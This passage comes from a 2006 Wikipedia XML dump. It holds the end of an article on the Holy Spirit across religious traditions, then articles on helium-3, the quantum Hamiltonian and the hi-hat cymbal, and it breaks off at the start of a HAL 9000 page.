As well as a listing of fruit of the Spirit, there are three listings of gifts of the Spirit.  [[I Corinthians 12]]:8-10, [[Ephesians 4]]:11-12, and [[Romans 12]]:6-8.  In each of these references it is made clear that these gifts are for the building up of the Body of Christ, or the Church.  Eighteen gifts are mentioned in these three lists: wisdom, knowledge, teaching, leadership, shepherding, prophecy, exhortation, discernment, faith, evangelism, apostleship, miracles, tongues and interpretations of tongues.  There is no absolute way of knowing whether this is a definitive list or not, St. Paul is aware of spiritual power that manifests itself in at least these ways and is teaching the church of their presence, role and importance.  These are to be distinguished from talents which all of God's children enjoy and are for the believers in Jesus Christ  - spiritual gifts to provide the power and abilities needed to do the work of Christ in the world. 

==Depiction in art==
The Holy Spirit is often [[Icon|depicted]] as a [[dove]], based on the account of the Holy Spirit descending on Jesus in the form of a dove when He was baptized in the [[Jordan River|Jordan]].  In many paintings of the [[Annunciation]], the Holy Spirit is shown in the form of a dove whispering into [[Mary, the mother of Jesus|Mary]]'s ear. 

The dove also parallels to the one which brought the branch of olive tree to [[Noah]] after the cataclysm (also a symbol of peace), and the Rabbinic traditions according to which doves above the water signify the presence of God.

The book of Acts describes the Holy Spirit descending on the [[apostle]]s at Pentecost in the form of a wind and tongues of fire resting over the apostles' heads. Based on the imagery in that account, the Holy Spirit is sometimes symbolized by a flame of fire.

==Non-Trinitarian Christian views==
In the belief of many [[nontrinitarian]] religions — [[Unitarianism|Unitarians]] and [[Jehovah's Witnesses]], for instance — the Holy Spirit is God's spirit or God's active force, and not an actual person.  In [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] the Holy Spirit is considered a third and individual member of the Godhead, a different being from the Father and the Son, having a body of spirit (whereas the Father and the Son are believed to be resurrected individuals having immortalized bodies of flesh and bone).

[[Jehovah's Witnesses]] point out [http://www.watchtower.org/library/ti/article_07.htm] that personification in the Bible occurs often, including terms such as ''wisdom'', ''sin and death'', ''water'' and ''blood'', and does not indicate that the subject is a person. The fact that the Holy Spirit is referred to impersonally several times is used to assert that references of this manner would not occur in such frequency if this was a divine member of God, just as it does not occur with the Father or the Son. Additionally, at Jesus' baptism in Matthew 3:16, Jesus received God's spirit at that time, which Witnesses say conflicts with the idea that the Son was always one with the Holy Spirit. Jesus relates in Mark 13:32 &quot;But of that day and [that] hour knoweth no man, no, not the angels which are in heaven, neither the Son, but the Father.&quot; The Witnesses note that the Holy Spirit is conspicuously missing from this statement, just as it is missing from Stephen's vision in Acts 7:55, 56 where he sees only the Son and God in heaven.

Also noted, in regards to the mentions of the Father, Son and Holy Spirit together (as in 2 Cor 13:14; 1 Cor 12:4-6; Matt 28:19), nontrinitarians bring out that none of these verses offer any evidence of the equality of nature or authority among them, just as the numerous simultaneous references to &quot;Abraham, Isaac, and Jacob&quot; or &quot;Peter, James and John&quot;, or &quot;Tom, Dick and Harry&quot; do not infer an equality in any manner. Alvan Lamson says in ''The Church of the First Three Centuries'': &quot;The modern popular doctrine of the Trinity . . . derives no support from the language of [[Justin_Martyr|Justin [Martyr]]]: and this observation may be extended to all the ante-[[Nicene]] Fathers; that is, to all Christian writers for three centuries after the birth of Christ. It is true, they speak of the Father, Son, and . . . holy Spirit, but not as co-equal, not as one numerical essence, not as Three in One, in any sense now admitted by Trinitarians. The very reverse is the fact.&quot;

There are many Roman Catholic writings that support the idea of the Holy Spirit not being an actual person. One, the ''[[New Catholic Encyclopedia]]'' states: &quot;The O[ld] T[estament] clearly does not envisage God's spirit as a person . . . God's spirit is simply God's power. If it is sometimes represented as being distinct from God, it is because the breath of [[Yahweh]] acts exteriorly. ... The majority of N[ew] T[estament] texts reveal God's spirit as something, not someone; this is especially seen in the parallelism between the spirit and the power of God.&quot; (''New Catholic Encyclopedia'', 1967, Vol. 14, pp. 574, 575)

According to those who hold the minority view of [[Binitarianism]], the Holy Spirit is not a separate being, but the Father and the Son are.  One such group, the [[Living Church of God]] teaches this about the Holy Spirit, &quot;The Holy Spirit is the very essence, the mind, life and power of God. It is not a Being. The Spirit is inherent in the Father and the Son, and emanates from Them throughout the entire universe (1 Kings 8:27; Psalm 139:7; Jeremiah 23:24). It was through the Spirit that God created all things (Genesis 1:1-2; Revelation 4:11). It is the power by which Christ maintains the universe (Hebrews 1:2-3). It is given to all who repent of their sins and are baptized (Acts 2:38-39) and is the power (Acts 1:8; 2 Timothy 1:6-7) by which all believers may be &quot;overcomers&quot; (Romans 8:37, KJV; Revelation 2:26-27) and will be led to eternal life&quot; (Official Statement of Fundamental Beliefs).

The view that the Holy Spirit is not a distinct person has been considered to be heretical by mainstream Christianity.  For example, [[Epiphanius of Salamis]] referred to some of those as [[Semi-Arian]]s and ''Pneumatomachi'' (&quot;spirit-fighters&quot;) and called them, &quot;A sort of monstrous, half-formed people of two natures...Semi-Arians...hold the truly orthodox view of the Son, that he was forever with the Father...but has been begotten without beginning and not in time...But all of these blaspheme the Holy Spirit, and do not count him in the Godhead with the Father and the Son&quot; (Epiphanius. The Panarion of Epiphanius of Salamis, Books II and III (Sects 47-80), De Fide). Section VI, Verses 1,1 and 1,3. Translated by Frank Williams. EJ Brill, New York, 1994, pp.471-472)

Hence, [[nontrinitarians]] have long been subject to criticism by those who accepted the Nicene and later Councils.

==Rastafarian view of the Holy Spirit==
As a movement that developed out of Christianity, [[Rastafari movement|Rastafari]] has its own unique interpretation of both the [[Trinity|Holy Trinity]] and the Holy Spirit. Although there are several slight variations, they generally state that it is [[Haile Selassie]] who embodies both God the Father and God the Son, while the Holy (or rather, &quot;''Hola''&quot;) Spirit is to be found within Rasta believers (see '[[Iandi|I and I]]'), and within every human being. Rastas also say that the true [[church]] is the human body, and that it is this church (or &quot;''structure''&quot;) that contains the Holy Spirit.

==Other views==
===Judaism===
Judaism as a whole does not have a developed pneumatology. Most Jews consider the Holy Spirit to be a thoroughly Christian concept. &quot;The designation of the
third person of the Trinity, the Holy Ghost, stems from a Hebrew figure of speech, the ''ruah hakodesh'' (&quot;holy spirit&quot;). In Jewish usage, however, this concept was never identified with a separate person, but with a Divine power
which could fill men, as, for instance, the prophets.&quot; - ''The Universal Jewish Encyclopedia,'' 1943, 1969, see: &quot;Trinity&quot;, pp. 308.

===Islam===
[[Islam]]ic interpretations consider the Holy Spirit to be another name for the [[archangel]] [[Gabriel]]. In [[Sura]] 2.97, the [[Qur'an]] states that Gabriel delivered the word of [[Allah]] to the [[prophet]] [[Muhammad]], and in Sura 16.102 Gabriel is specifically called &quot;the Holy Spirit&quot;. All Quranic references to the Holy Spirit refer, therefore, to this angel. The actual term &quot;Holy Spirit&quot; الروح القدس is used in the following verses in the Quran: 2:87, 2:253, 5:110, 16:102. In these verses, the Holy Spirit is strongly supportive of Moses, Jesus, and Mohammed in their divine missions. The Qur'an also mentions the Holy Spirit in 21:91, yet there the term used is &quot;Our Spirit&quot;. The 91st Ayah of Surah Al-Anbiya, (21:91,) is indeed in reference to Mary and Jesus, while Our Spirit is referring to Gabriel (Jibril). In Islam, Angels are genderless and have no will of their own, meaning it is impossible for them to disobey God, (please see: [[Angels in Islam]]).  There is also a reasonable debate for Matt 1:18 and Luke 1:26 using the Holy Ghost and the archangel Gabriel interchangeably.

===Mandaeanism===
{{main|Ruha d-Qudsha}}

===Hinduism===
There are parallels between the Holy Spirit and [[Kundalini]], the divine intelligence behind spiritual awakening and maturation in [[Yoga]]. Kundalini is both a power that proceeds from the Absolute and a divine person, a [[Goddess]] or [[Shakti]]. She is also God immanent in the human being.

Several scriptures of [[Vedic religion|Vedic]] ([[Hindu]]) tradition describe that God is present in the heart as the supreme witness, [[Paramatman]] (as per 1 Cor. 3:16, [[sura 50]]:16 and [[sura 6]]:60 of [[Qur'an]]). {In reference to [[sura 50|Surah 50]]:16 and [[sura 6|Surah 6]]:60 of the [[Qur'an]]: Since God is All-Knowing, ([[sura 11|Surah 11]]:123 and [[sura 64|Surah 64]]:11,) and absolutely everything is known to Him from the start, (including all good and all bad,) he is considered more close to the person, than that person's jugular vein} - [[Vedanta Sutra]] 1.2.11, Katha [[Upanishad]] 1.3.1, Chandogya Upanishad 8.1.1 and other Upanishads. [[Bhagavad Gita]], a summary of Upanishads, has many verses about Paramatman. Several are:

10.20: &quot;I am the Supersoul, O [[Arjuna]], seated in the hearts of all living entities. I am the beginning, the middle and the end of all beings.&quot;

15.15: &quot;I am seated in everyone’s heart, and from Me come remembrance, knowledge and forgetfulness. By all the [[Vedas]], I am to be known. Indeed, I am the compiler of [[Vedanta]], and I am the knower of the Vedas.&quot;

18.61: &quot;The Supreme Lord is situated in everyone’s heart, O Arjuna, and is directing the wanderings of all living entities, who are seated as on a machine, made of the material energy.&quot;

(quotes from [[Bhagavad Gita As It Is]] by [[A.C. Bhaktivedanta Swami Prabhupada]])

===Comparisons in fiction===
In [[role-playing game]]s, the measure of ''Honour'' or ''Grace'' to [[Paladin (gaming)|Paladins]] can be superficially compared to the views towards the Holy Spirit. The Paladin, by doing good deeds and helping others (the [[Non-player character|NPC]]s), is favoured by the god he serves, which translates into points of Experience and Honour. These points mark his ability to do Paladin spells like healing, repulsing undead, blessing, giving strength etc which are usually dependant on the [[Charisma]] ability (translates as ''gift''). When doing honourless or evil actions, the god punishes the Paladin by taking away these abilities.

A good parallel is [[the Force]] of [[Star Wars]] and the [[Jedi]] knights, that have many in common with the concept of the Paladins. The Force resembles some interpretations of the Holy Spirit in that it flows between living beings and holds the universe together. A Jedi by having connection to the Force can use it and obtain abilities from it that partially resemble of the 'Fruits' of the Holy Spirit. Note that the Force is more usually compared to the [[Qi|Chi]].

[[J.R.R. Tolkien]], Christian fantasy author, in the [[Ainulindale]] speaks about the [[Flame Imperishable]] by which the [[Iluvatar]] the Creator made the [[Ainur]] and brought Being to the [[Arda|world]] of his mythos. The Flame was not a separate being, but was in the Creator. This description is clearly inspired by the appearance of the paracletus on the Pentecost.

==See also==
*[[God]]
*[[Prevenient Grace]]
*[[Pneumatology]]
*[[Revelation]]
*[[Slain in the Spirit]]
*[[Christian anarchism]]
*[[Holy Spirit as Revealed in Acts through Revelation]]
*[[Holy Spirit according to Protestantism]]

==External links==
*[http://www.wikichristian.org/index.php?title=Holy_Spirit The Holy Spirit at WikiChristian]
*[http://catholicapologeticsofamerica.blogspot.com Catholic Apologetics of America]
*[http://www.spirithome.com/spirwork.html a Lutheran's view of what the Holy Spirit does]
*[http://www.outreachjudaism.org/evangelize1.html Jewish perspective]
*[http://jewishencyclopedia.com/view.jsp?artid=865&amp;letter=H Jewish Encyclopedia: Holy Spirit]


[[Category:Christianity]]
[[Category:Triune Gods]]
[[Category:Christian theology]]
[[Category:Charismatic and Pentecostal Christianity]]

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[[eo:Sankta Spirito]]
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[[ga:An Spiorad Naomh]]
[[id:Allah Roh Kudus]]
[[ia:Spirito Sancte]]
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[[la:Spiritus Sanctus]]
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[[nl:Heilige Geest]]
[[ja:聖霊]]
[[no:Den hellige Ånd]]
[[nn:Den heilage anden]]
[[pl:Duch Święty]]
[[pt:Espírito Santo]]
[[ro:Duhul Sfânt]]
[[sk:Svätý Duch]]
[[sr:Свети Дух]]
[[fi:Pyhä Henki]]
[[sv:Den Helige Ande]]
[[vi:Chúa Thánh Linh]]
[[zh:聖靈]]</text>
    </revision>
  </page>
  <page>
    <title>Helium-3</title>
    <id>14380</id>
    <revision>
      <id>40462542</id>
      <timestamp>2006-02-20T19:07:13Z</timestamp>
      <contributor>
        <ip>68.89.209.159</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{TOCright}}
'''Helium-3''' is a light, non-[[radioactive]] [[isotope]] of [[helium]]. The [[helion]], the [[atomic nucleus|nucleus]] of a helium-3 atom, consists of two [[proton]]s but only one [[neutron]], in contrast to two neutrons in ordinary helium. Helium-3 is rare on [[Earth]] and sought-after for use in [[nuclear fusion]].  More abundant helium-3 is thought to exist on the [[Moon]] (embedded in the upper layer of [[regolith]] by the [[solar wind]] over billions of years) and the [[solar system]]'s [[gas giant]]s (left over from the original [[solar nebula]]). As it is a primordial substance in the Earth's [[mantle (geology)|mantle]], it is used in [[isotope geochemistry]] studies.

==Fusion==
Helium-3 undergoes the following [[Aneutronic fusion|aneutronic fusion reaction]], among others, although this is the one most promising for power generation:

:[[Deuterium|D]] + &lt;sup&gt;3&lt;/sup&gt;He &amp;rarr; &lt;sup&gt;4&lt;/sup&gt;He (3.7 MeV) + p (14.7 MeV)

The appeal of helium-3 fusion stems from the nature of its reaction products. Most proposed fusion processes for power generation produce energetic neutrons which render reactor components radioactive with their bombardment, and power generation must occur through thermal means. In contrast, Helium-3 itself is non-radioactive. The lone high-energy proton produced can be contained using electric and magnetic fields, which results in direct electricity generation.

However, since both reactants need to be mixed together to fuse, side reactions (D + D and &lt;sup&gt;3&lt;/sup&gt;He + &lt;sup&gt;3&lt;/sup&gt;He) will occur, the first of which is not aneutronic. Therefore in practice this reaction is unlikely to ever be completely 'clean'.  Also, the temperatures required for D + &lt;sup&gt;3&lt;/sup&gt;He fusion are much higher than those of conventional D + T fusion, so it is unlikely that this type of fusion will be achieved before the problems with conventional fusion are worked out.

==Cryogenics==
Helium-3 is used in [[cryogenics]] to achieve temperatures as low as a few thousandths of a [[Kelvin]]; it was discovered by the Australian nuclear physicist [[Mark Oliphant]] while based at [[University of Cambridge|Cambridge University]]'s [[Cavendish Laboratory]].

An important property of helium-3, which distinguishes it from the more common helium-4, is that its nucleus is a [[fermion]] since it contains an odd number of particles. At low temperatures (around 4.2K), helium-4 undergoes a [[phase transition]] into a [[superfluid]] [[phase (matter)|phase]] that can be roughly understood as a type of [[Bose-Einstein condensate | Bose Einstein condensation]]. Such a mechanism is not available for helium-3 atoms, which are fermions. However, it was widely speculated that helium-3 could also become a superfluid at much lower temperatures, if the atoms formed up into ''pairs'' analogous to the [[Cooper pair]]s in the [[BCS theory]] of [[superconductivity]]. During the [[1970s]], [[David Morris Lee]], [[Douglas Osheroff]], and [[Robert Coleman Richardson]] showed that helium-3 indeed becomes a superfluid at around 2 millikelvins. They were awarded the [[1996]] [[Nobel Prize in Physics]] for their discovery. [[Anthony James Leggett|Tony Leggett]] won the [[2003]] Nobel Prize in Physics for his work on refining our understanding of the superfluid phase of helium-3.

== Lunar supplies ==

The possibility that helium-3 may be widely found on the Moon has led to discussions ([http://slashdot.org/article.pl?sid=04/11/27/1931205&amp;from=rss], [http://www.news.com.au/story/0,10117,17943650-23109,00.html]) as to whether it could be used as an energy source. Yet to be determined is the exact quantity of helium-3 which the solar wind traps and deposits on the lunar surface.  It may be so scarce as to be beneath the point of economic recovery.  The ignition temperature for helium-3 is ten times higher than conventional fusion, which itself has yet to be achieved at the break-even point.  Accordingly, helium-3 seems less likely than other reactants for use in fusion power generation, though possibly not over the long term. 

{{Isotope|element=[[Helium]]
|lighter=[[Diproton]]
|heavier=[[Helium-4]]
|before=[[Hydrogen-3]]&lt;br /&gt;[[Lithium-4]]
|after=Stable
}}

==External links==
*[http://www.space.com/scienceastronomy/helium3_000630.html Moon's Helium-3 Could Power Earth]
*[http://www.mines.edu/research/srr/2001abstracts/vancleve.PDF Helium-3 Mining Aerostats in the Atmosphere of Uranus (pdf)]
*[http://nobelprize.org/physics/laureates/2003/presentation-speech.html The Nobel Prize in Physics 2003, presentation speech] 
*[http://ltl.tkk.fi/research/theory/he3.html Superfluid Helium-3] 

[[Category:Isotopes]] 
[[Category:Fuels]] 
[[Category:Space exploration]]

[[fr:Hélium-3]]
[[sv:Helium-3]]</text>
    </revision>
  </page>
  <page>
    <title>Hamiltonian (quantum mechanics)</title>
    <id>14381</id>
    <revision>
      <id>41890546</id>
      <timestamp>2006-03-02T11:43:26Z</timestamp>
      <contributor>
        <username>Andriy.vynogradov</username>
        <id>225418</id>
      </contributor>
      <comment>/* The quantum Hamiltonian */</comment>
      <text xml:space="preserve">== The quantum Hamiltonian ==

As explained in the article [[mathematical formulation of quantum mechanics]], the physical state of a system may be characterized as a vector in an abstract [[Hilbert space]] (or, in the case of [[Density state|ensembles]], as a countable sequence of vectors weighted by probabilities). Physically observable quantities are described by [[self-adjoint operator|self-adjoint operators]] acting on these vectors.

The quantum Hamiltonian ''H'' is the observable corresponding to the total energy of the system. Mathematically speaking, it is a densely defined self-adjoint operator.

The eigenkets ([[eigenvectors]]) of ''H'', denoted
&lt;math&gt;\left| a \right\rang&lt;/math&gt;
(using Dirac [[Bra-ket]] notation), provide an [[orthonormal]] [[basis (linear algebra)|basis]] for the Hilbert space. The [[Spectrum of an operator|spectrum]] of allowed energy levels of the system is given by the set of [[eigenvalue]]s, denoted {''E''&lt;sub&gt;a&lt;/sub&gt;}, solving the equation:

:&lt;math&gt; H \left| a \right\rangle = E_a \left| a \right\rangle&lt;/math&gt;.

Since ''H'' is a [[Hermitian operator]], the energy is always a [[real number]].

Depending on the Hilbert space of the system, the energy spectrum may be either discrete or continuous. In fact, certain systems have a continuous energy spectrum in one range of energies and a discrete spectrum in another range. An example of such a system is the finite potential well, which admits bound states with discrete negative energies and free states with continuous positive energies.

The Hamiltonian generates the [[time]] evolution of quantum states. If &lt;math&gt;\left| \psi (t) \right\rangle&lt;/math&gt; is the state of the system at time ''t'', then

:&lt;math&gt; H \left| \psi (t) \right\rangle = \mathrm{i} \hbar {\partial\over\partial t} \left| \psi (t) \right\rangle&lt;/math&gt;.

where &lt;math&gt;\hbar&lt;/math&gt; is [[Planck's constant|h-bar]]. This equation is known as the [[Schrödinger equation]]. (It takes the same form as the [[Hamilton-Jacobi equation]], which is one of the reasons ''H'' is also called the Hamiltonian.) Given the state at some initial time (''t'' = 0), we can integrate it to obtain the state at any subsequent time. In particular, if ''H'' is independent of time, then

:&lt;math&gt; \left| \psi (t) \right\rangle = \exp\left(-{\mathrm{i}Ht \over \hbar}\right) \left| \psi (0) \right\rangle&lt;/math&gt;.

where the exponential operator on the right hand side is defined by the usual [[exponential function|series]]. This can be shown to be a [[unitary operator]], and is a common form of the ''time evolution operator'' (also called the ''propagator'').

== Energy eigenket degeneracy, symmetry, and conservation laws ==

In many systems, two or more energy eigenstates have the same energy. A simple example of this is a free particle, whose energy eigenstates have wavefunctions that are propagating plane waves. The energy of each of these plane waves is inversely proportional to the square of its [[wavelength]].  A wave propagating in the ''x'' direction is a different state from one propagating in the ''y'' direction, but if they have the same wavelength, then their energies will be the same. When this happens, the states are said to be ''degenerate''.

It turns out that degeneracy occurs whenever a nontrivial [[Unitary matrix|unitary operator]] ''U'' [[commutation relation|commutes]] with the Hamiltonian. To see this, suppose that |a&gt; is an energy eigenket. Then ''U''|a&gt; is an energy eigenket with the same eigenvalue, since

:&lt;math&gt;UH |a\rangle = U E_a|a\rangle = E_a (U|a\rangle) = H \; (U|a\rangle). &lt;/math&gt;

Since ''U'' is nontrivial, at least one pair of &lt;math&gt;|a\rang&lt;/math&gt; and &lt;math&gt;U|a\rang&lt;/math&gt; must represent distinct states. Therefore, ''H'' has at least one pair of degenerate energy eigenkets. In the case of the free particle, the unitary operator which produces the symmetry is the [[rotation operator]], which rotates the wavefunctions by some angle while otherwise preserving their shape.

The existence of a symmetry operator implies the existence of a [[conservation law|conserved]] observable. Let ''G'' be the Hermitian generator of ''U'':

:&lt;math&gt; U = I - \mathrm{i} \epsilon G + O(\epsilon^2) &lt;/math&gt;

It is straightforward to show that if ''U'' commutes with ''H'', then so does ''G'':

:&lt;math&gt; [H, G] = 0 &lt;/math&gt;

Therefore,

:&lt;math&gt;
\frac{\part}{\part t} \langle\psi(t)|G|\psi(t)\rangle
= \frac{1}{\mathrm{i}\hbar} \langle\psi(t)|[G,H]|\psi(t)\rangle 
= 0
&lt;/math&gt;

In obtaining this result, we have used the Schrödinger equation, as well as its [[bra-ket notation|dual]],

:&lt;math&gt; \langle\psi (t)|H = - \mathrm{i} \hbar {\partial\over\partial t} \langle\psi(t)|&lt;/math&gt;.

Thus, the [[expected value]] of the observable ''G'' is conserved for any state of the system. In the case of the free particle, the conserved quantity is the [[angular momentum]].

== Hamilton's equations ==

Hamilton's equations in classical [[Hamiltonian mechanics]] have a direct analogy in quantum mechanics. Suppose we have a set of basis states &lt;math&gt;\left\{\left| n \right\rangle\right\}&lt;/math&gt;, which need not necessarily be eigenstates of the energy. For simplicity, we assume that they are discrete, and that they are orthonormal, i.e.,

:&lt;math&gt; \langle n' | n \rangle = \delta_{nn'} &lt;/math&gt;

Note that these basis states are assumed to be independent of time. We will assume that the Hamiltonian is also independent of time.

The instantaneous state of the system at time ''t'', &lt;math&gt;\left| \psi\left(t\right) \right\rangle&lt;/math&gt;, can be expanded in terms of these basis states:

:&lt;math&gt; |\psi (t)\rangle = \sum_{n} a_n(t) |n\rangle &lt;/math&gt;

where

:&lt;math&gt; a_n(t) = \langle n | \psi(t) \rangle &lt;/math&gt;

The coefficients ''a&lt;sub&gt;n&lt;/sub&gt;(t)'' are [[complex number|complex]] variables. We can treat them as coordinates which specify the state of the system, like the position and momentum coordinates which specify a classical system. Like classical coordinates, they are generally not constant in time, and their time dependence gives rise to the time dependence of the system as a whole.

The expectation value of the Hamiltonian of this state, which is also the mean energy, is

:&lt;math&gt; \langle H(t) \rangle \equiv \langle\psi(t)|H|\psi(t)\rangle
= \sum_{nn'} a_{n'}^* a_n \langle n'|H|n \rangle &lt;/math&gt;

where the last step was obtained by expanding &lt;math&gt;\left| \psi\left(t\right) \right\rangle&lt;/math&gt; in terms of the basis states.

Each of the ''a&lt;sub&gt;n&lt;/sub&gt;(t)'''s actually corresponds to ''two'' independent degrees of freedom, since the variable has a real part and an imaginary part. We now perform the following trick: instead of using the real and imaginary parts as the independent variables, we use ''a&lt;sub&gt;n&lt;/sub&gt;(t)'' and its [[complex conjugate]] ''a&lt;sub&gt;n&lt;/sub&gt;*(t)''. With this choice of independent variables, we can calculate the [[partial derivative]]

:&lt;math&gt;\frac{\partial \langle H \rangle}{\partial a_{n'}^{*}}
= \sum_{n} a_n \langle n'|H|n \rangle
= \langle n'|H|\psi\rangle
&lt;/math&gt;

By applying [[Schrödinger's equation]] and using the orthonormality of the basis states, this further reduces to

:&lt;math&gt;\frac{\partial \langle H \rangle}{\partial a_{n'}^{*}}
= \mathrm{i} \hbar \frac{\partial a_{n'}}{\partial t} &lt;/math&gt;

Similarly, one can show that

:&lt;math&gt; \frac{\partial \langle H \rangle}{\partial a_n}
= - \mathrm{i} \hbar \frac{\partial a_{n}^{*}}{\partial t} &lt;/math&gt;

If we define &quot;conjugate momentum&quot; variables ''&amp;pi;&lt;sub&gt;n&lt;/sub&gt;'' by

:&lt;math&gt; \pi_{n}(t) = \mathrm{i} \hbar a_n^*(t) &lt;/math&gt;

then the above equations become

:&lt;math&gt;
\frac{\partial \langle H \rangle}{\partial \pi_{n}}
= \frac{\partial a_{n}}{\partial t} \quad,\quad
\frac{\partial \langle H \rangle}{\partial a_n}
= - \frac{\partial \pi_{n}}{\partial t}
&lt;/math&gt;

which is precisely the form of Hamilton's equations, with the &lt;math&gt;a_n&lt;/math&gt;s as the generalized coordinates, the &lt;math&gt;\pi_n&lt;/math&gt;s as the conjugate momenta, and &lt;math&gt;\langle H\rangle&lt;/math&gt; taking the place of the classical Hamiltonian.

[[Category:Quantum mechanics]]
[[Category:Operator theory]]
[[de:Hamiltonoperator]]
[[es:Hamiltoniano_(mecánica cuántica)]]
[[ja:&amp;#12495;&amp;#12511;&amp;#12523;&amp;#12488;&amp;#12491;&amp;#12450;&amp;#12531;]]
[[pl:Hamiltonian]]</text>
    </revision>
  </page>
  <page>
    <title>Hi-hat</title>
    <id>14382</id>
    <revision>
      <id>40144648</id>
      <timestamp>2006-02-18T13:46:14Z</timestamp>
      <contributor>
        <username>Pietaster</username>
        <id>533049</id>
      </contributor>
      <minor />
      <comment>/* History of development */ link</comment>
      <text xml:space="preserve">{{Drum kit components}}

A '''Hi-hat''' or '''hihat''' is a type of [[cymbal]] and stand used as a typical part of a [[drum kit]] by percussionists in [[jazz]], [[rock and roll]], and other forms of contemporary popular music. 

== Description ==

The Hi-hat consists of two cymbals mounted on a metal stand, with a pedal pulling down on a narrow metal shaft, which is countered by a spring attached to the bottom of the shaft that repels against the upper housing of the pedal. The top cymbal is mounted directly to the shaft and is positioned prior to playing. The bottom cymbal however, is stationary and rests on the metal stand, connected to a hollow metal rod. The top cymbal can move up and down to open or close the Hi-hat via the pedal, . It can be played in both the open and closed positions, a partially open closed position, or making the cymbals clash together using the pedal.
[[Image:Hihat.jpg|thumbnail|left|150px|The hi-hat stand has changed little since its invention.]]

== History of development ==
The hi hat originated as a cymbal turned upside down on the floor, with another cymbal tied to the  drummer's shoe, and was played by stepping on the bottom cymbal. Later in the 20th century, it was raised up to sock level (just below the knee) and called a &quot;low boy&quot; or &quot;sock cymbal.&quot; and operated by a pedal.  The low-sock was a pedal which simply clashed together a pair of similar [[crash cymbal]]s. The cymbals were mounted next to the pedal, so playing them with a stick was not possible.
Today it is called the &quot;hi hat&quot;. The hi-hat stand was developed from the ''low-sock'' by [[Gene Krupa]] in collaboration with [[Armand Zildjian]]. 

Up until the late [[1960s]] the standard hi-hats were 14&quot;, with 13&quot; available as a less common alternative in professional cymbal ranges and smaller sizes down to 12&quot; restricted to children's kits. In the early 1970s heavy [[Rock and roll|rock]] drummers (including [[Led Zeppelin]]'s [[John Bonham]] began to use 15&quot; hi-hats. In the late 1970s [[Sabian]] released their revolutionary 10&quot; ''mini hats'', which were small, heavy hi-hat cymbals intended for close miking either live or recording, and other manufacturers quickly followed. Starting in the [[1980s]] a number of manufacturers also experimented with rivets in the lower cymbal. But by the end of the [[1990s]] the standard size was again 14&quot;, with 13&quot; a less common alternative, and smaller hats mainly used for special sounds. [[Rivet]]s in hi-hats received rave reviews but failed to catch on.

[[Image:paiste2002hihat.jpg|thumb|right|[[Paiste]]'s 2002 Sound Edge features a wavy bottom hihat to allow air escape out quickly.]]
Modern hi-hat cymbals are much heavier than modern [[crash cymbal]]s, reflecting a continual trend to lighter and thinner crash cymbals as well as to heavier hi-hats. The other change has been that a pair hi-hat cymbals are no longer necessarily similar. More typically the bottom is now heavier than the top, and may also be vented, this being one innovation to have caught on. Some drummers even use completely mismatched hi-hats from different cymbal ranges, of different manufacturers and even of different sizes.

Another recent development is fixed and cable-controlled hi-hats. An extended drum kit will often have a second set of hi-hats, normally smaller than the main ones, mounted to the centre or to the right. These may be fixed closed or connected by a [[bowden cable]] to a pedal operated by the drummer's left foot.

Additionally, many drummers use a drop-clutch mechanism to disengage the top hi-hat in order to free up both feet while double bass playing. This results in the hi-hat producing a closed sound until the hi-hat foot is available again. The mechanism is disabled by fully pressing the hi-hat pedal.

== Playing techniques ==

When struck closed or played with the pedal, the hi-hat gives a short, muted percussive sound.  Adjusting the gap between the cymbals can alter the sound of the open hi-hat from a &quot;shimmering&quot;, sustained tone to something similar to a [[ride cymbal]]. When struck with a drumstick, the cymbals make either a short, snappy sound or a longer sustaining sandy sound depending on the position of the pedal. 

It can be also played just by lifting and lowering the foot to clash the cymbals together, a style commonly used to accent beats 2 and 4 in [[jazz]] music. In [[Rock and roll|rock music]], the hihats are commonly struck every beat or on beats 1 and 3, while the cymbals are held together. The drummer can control the sound by foot pressure. Less pressure allows the cymbals to rub together more freely, giving both greater sustain and greater volume for accent or crescendo. In [[shuffle time]], a rhythm known as &quot;cooking&quot; is often employed. To produce this the cymbals are stuck twice in rapid succession, being held closed on the first stroke and allowed to open just before the second, then allowed to ring before being closed with a &quot;chick&quot; to complete the pattern (the cymbals may or not be struck on the &quot;chick&quot;).  

A right-handed drummer will normally play the hi-hat pedal with their left foot, and may additionally use either or both drumsticks. The traditional hi-hat rhythms of rock and jazz were produced by crossing the hands over, so the right stick would play the hi-hat while the left played the [[snare drum]] below it, but this is not universal.  However, some top modern drummers do not cross their hands over at all, normally playing the hi-hat and also occasionally a second [[ride cymbal]] mounted on the left with the left stick rather than the right. In both rock and jazz, often the drummer will move the same stick pattern between the hihat cymbal and the [[ride cymbal]], for example using the hihat in the verses and the ride in the chorus of a song, or using the ride to accompany a [[lead break]] or other instrumental solo.
&lt;!-- _________________Table________________________. --&gt;
{| border=&quot;2&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
!colspan=&quot;3&quot; style=&quot;background:#4B95B5;&quot; | '''Audio samples'''
|-
!width=&quot;30&quot; style=&quot;background:#87BBC8;&quot; | Component
!width=&quot;160&quot; style=&quot;background:#87BBC8;&quot; | Content
!width=&quot;70&quot; style=&quot;background:#87BBC8;&quot; | Audio  &lt;small&gt;([[Ogg Vorbis]])&lt;/small&gt;
|-
|align=&quot;center&quot; rowspan=&quot;3 &quot;|'''Hi-hat'''
|Closed hi-hat 
|align=&quot;center&quot; | {{Audio|Hi hat closed.ogg |41 KB}}
|-
|Open hi-hat
|align=&quot;center&quot; | {{Audio|Hi hat open.ogg|58 KB}}
|-
|Hi-hat being opened and closed by its foot pedal
|align=&quot;center&quot; | {{Audio|Hi hat foot pedal.ogg|48 KB}} 
|-
|align=&quot;center&quot;  colspan=&quot;3&quot; style=&quot;background:#fffdead;&quot; | &lt;small&gt;''See the [[Commons:Drums|Drums]] page at [http://commons.wikimedia.org/wiki/Main_Page Wikipedia Commons] for more'' &lt;/small&gt;
|}

[[Category:Cymbals]]
[[Category:Drum kit components]]

[[de:Hi Hat]]
[[fr:Charleston (musique)]]
[[nl:Hi-hat]]
[[sv:Hi-hat]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrogen bonding</title>
    <id>14383</id>
    <revision>
      <id>15911943</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hydrogen bond]]
</text>
    </revision>
  </page>
  <page>
    <title>HAL 9000</title>
